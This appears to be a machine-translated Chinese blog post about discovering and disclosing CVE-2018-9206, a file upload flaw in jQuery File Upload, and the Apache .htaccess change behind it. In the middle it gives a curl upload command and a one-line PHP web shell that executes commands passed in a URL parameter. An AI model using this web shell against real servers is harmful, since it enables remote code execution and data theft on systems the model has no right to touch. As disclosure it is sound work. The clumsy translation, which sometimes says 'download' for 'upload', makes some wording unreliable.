我参加了在纽约布鲁克林举行的邮件,恶意软件和移动反滥用工作组(m3aawg.org)的会议。 我期待更好的天气在城市中徘徊,享受会议以及该地区的各种美食。 我非常清楚天空的清晰度,甚至连雨都没带走。 整个星期都下雨。 这迫使我呆在带免费无线网络和工作笔记本电脑的酒店房间里。 我决定花时间研究https://www.npmjs.com上的 Node.js及其相关软件包。
在您的项目中,有成千上万的用户软件包可供下载和安装。 我在NPM上搜索了流行的软件包名称,例如文件,备份,下载或上传。 上次搜索向我展示了一个来自Blueimp的名为jQuery文件上传的项目。 他的描述似乎很有趣,可以下载和浏览。
jQuery的文件上传小部件,支持多种文件选择,拖放,进度指示器,图像,音频和视频的验证和预览。 它支持跨域请求,这是一种在客户端上通过调整图像大小来下载文件的部分可更新机制。 它可以在任何服务器平台(PHP,Python,Ruby on Rails,Java,Node.js,Go等)上运行,该平台支持通过HTML表单上传标准文件。
我开始查看该包的源代码,并着重于server / php目录中的两个PHP文件。 这些文件分别称为upload.php和UploadHandler.php。 upload.php称为UploadHandler.php,主文件上传代码位于该文件中。 我还注意到,文件已上传到Web服务器根目录中的files /目录。 我用curl和原始的PHP脚本编写了一个简单的命令,向我确认我可以将文件上传到服务器,然后使用它在服务器上执行命令。
$ curl -F "files=@shell.php" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php
其中shell.php文件包含:
<?php $cmd=$_GET['cmd']; system($cmd);?>
从测试服务器在浏览器中打开带有参数cmd = id的页面,将返回启动服务器进程的用户的ID。 我认为这个漏洞并没有引起人们的注意,谷歌的快速搜索向我证实了其他使用此代码或其派生项目的项目也很容易受到攻击。 也有几个视频展示了如何攻击类似的软件包。
我通知了jQuery File Upload的作者,并开始记录发现分配CVE编号的内容。 第二天,一个有点尴尬的作者回答了我,要求提供更多信息,因为他无法在测试环境中重现该漏洞。
通过电子邮件比较我们的测试配置后,我们发现Apache开发人员从2.3.9版本开始就关闭了对.htaccess文件的支持。 事实证明,这样做是为了提高性能 ,因此服务器不必在每次访问相应目录时都检查此文件。 此外,还进行了此更改以防止用户覆盖服务器上配置的安全设置 。
因此,Apache在禁用.htaccess时有良好的意图,但是他们所做的更改也使某些开发人员和他们的项目处于危险之中,尤其是当他们依靠.htaccess中的安全设置时。
对于此库,为了正确处理此情况并修复CVE-2018-9206文件上传漏洞,开发人员更改了代码 ,使其仅下载图像文件。
这个问题不止一个项目。
在这里还值得注意的是,由于Apache的更改,剩下的7,800个项目中的某些可能容易受到文件上传问题的影响。

这些分支中的大多数仍然在其代码中带有原始漏洞。 在某些情况下,即使在开发人员编辑了Blueimp的原始代码并将其嵌入到他的项目中之后,该漏洞仍然存在,因此这些项目仍然容易受到我的攻击示例的影响,但会稍有变化。
这意味着,如果在生产中使用了这些项目中的任何一个,那么它将面临下载文件并随后执行的漏洞。 创造了从应用程序窃取数据,注入恶意软件,污损和其他损害机会的机会。
不幸的是,无法确定确切地仍支持原始jQuery File Upload派生的项目数量,也无法应用在主项目中所做的更改。 如果有的话,也不可能确切地确定在生产中使用分支项目的位置。 此外,直到2010年,该项目的较旧版本也容易受到文件下载问题的影响。
结论
互联网依靠许多安全机制来确保我们的系统,数据和交易的安全。 如果这些机制之一突然消失,则可能会损害依赖它的用户和开发人员的安全。
对于开发人员而言,最好查看他们基于其项目的系统和库中的更改。 在本文中,Apache删除的安全机制不仅影响了Blueimp的Jquery文件上传,还影响了其所有分支和分支。 该漏洞影响了许多依赖它的项目,从独立的Web应用程序到WordPress和其他CMS的插件。